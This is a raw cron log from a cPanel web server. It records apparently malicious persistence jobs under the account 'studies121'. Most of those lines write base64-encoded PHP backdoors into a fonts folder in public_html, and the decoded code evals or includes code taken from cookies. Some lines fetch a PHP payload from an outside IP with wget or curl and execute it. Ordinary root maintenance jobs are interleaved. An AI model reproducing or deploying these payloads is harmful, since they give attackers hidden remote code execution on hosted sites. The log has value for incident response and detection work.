Sep  6 16:54:01 ip-184-168-122-23 CROND[856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:54:01 ip-184-168-122-23 CROND[859]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:54:01 ip-184-168-122-23 CROND[857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:55:01 ip-184-168-122-23 CROND[953]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:55:01 ip-184-168-122-23 CROND[955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:55:01 ip-184-168-122-23 CROND[957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:55:01 ip-184-168-122-23 CROND[959]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 16:55:01 ip-184-168-122-23 CROND[956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:55:01 ip-184-168-122-23 CROND[958]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 16:56:01 ip-184-168-122-23 CROND[1044]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:56:01 ip-184-168-122-23 CROND[1045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:56:01 ip-184-168-122-23 CROND[1046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:56:01 ip-184-168-122-23 CROND[1048]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:56:01 ip-184-168-122-23 CROND[1050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:57:01 ip-184-168-122-23 CROND[1144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:57:01 ip-184-168-122-23 CROND[1145]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:57:01 ip-184-168-122-23 CROND[1150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:57:01 ip-184-168-122-23 CROND[1149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:58:01 ip-184-168-122-23 CROND[1333]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:58:01 ip-184-168-122-23 CROND[1335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:58:01 ip-184-168-122-23 CROND[1338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:58:01 ip-184-168-122-23 CROND[1336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:58:01 ip-184-168-122-23 CROND[1337]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:59:01 ip-184-168-122-23 CROND[1447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:59:01 ip-184-168-122-23 CROND[1448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:59:01 ip-184-168-122-23 CROND[1449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:59:01 ip-184-168-122-23 CROND[1446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:00:01 ip-184-168-122-23 CROND[1532]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:00:01 ip-184-168-122-23 CROND[1537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:00:01 ip-184-168-122-23 CROND[1535]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 17:00:01 ip-184-168-122-23 CROND[1538]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:00:01 ip-184-168-122-23 CROND[1536]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 17:00:01 ip-184-168-122-23 CROND[1539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:00:01 ip-184-168-122-23 CROND[1534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:00:01 ip-184-168-122-23 CROND[1540]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 17:01:01 ip-184-168-122-23 CROND[1635]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 17:01:01 ip-184-168-122-23 CROND[1636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:01:01 ip-184-168-122-23 CROND[1638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:01:01 ip-184-168-122-23 CROND[1639]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:01:01 ip-184-168-122-23 CROND[1640]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 17:01:01 ip-184-168-122-23 CROND[1641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1635]: starting 0anacron
Sep  6 17:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1657]: finished 0anacron
Sep  6 17:02:01 ip-184-168-122-23 CROND[1735]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:02:01 ip-184-168-122-23 CROND[1737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:02:01 ip-184-168-122-23 CROND[1738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:02:01 ip-184-168-122-23 CROND[1739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:02:01 ip-184-168-122-23 CROND[1740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:03:01 ip-184-168-122-23 CROND[1904]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:03:01 ip-184-168-122-23 CROND[1908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:03:01 ip-184-168-122-23 CROND[1906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:03:02 ip-184-168-122-23 CROND[1907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:04:01 ip-184-168-122-23 CROND[1991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:04:01 ip-184-168-122-23 CROND[1990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:04:01 ip-184-168-122-23 CROND[1993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:04:01 ip-184-168-122-23 CROND[1994]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:04:01 ip-184-168-122-23 CROND[1997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:05:01 ip-184-168-122-23 CROND[2086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:05:01 ip-184-168-122-23 CROND[2088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:05:01 ip-184-168-122-23 CROND[2092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:05:01 ip-184-168-122-23 CROND[2089]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 17:05:01 ip-184-168-122-23 CROND[2090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:05:01 ip-184-168-122-23 CROND[2091]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 17:05:01 ip-184-168-122-23 CROND[2093]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 17:06:01 ip-184-168-122-23 CROND[2195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
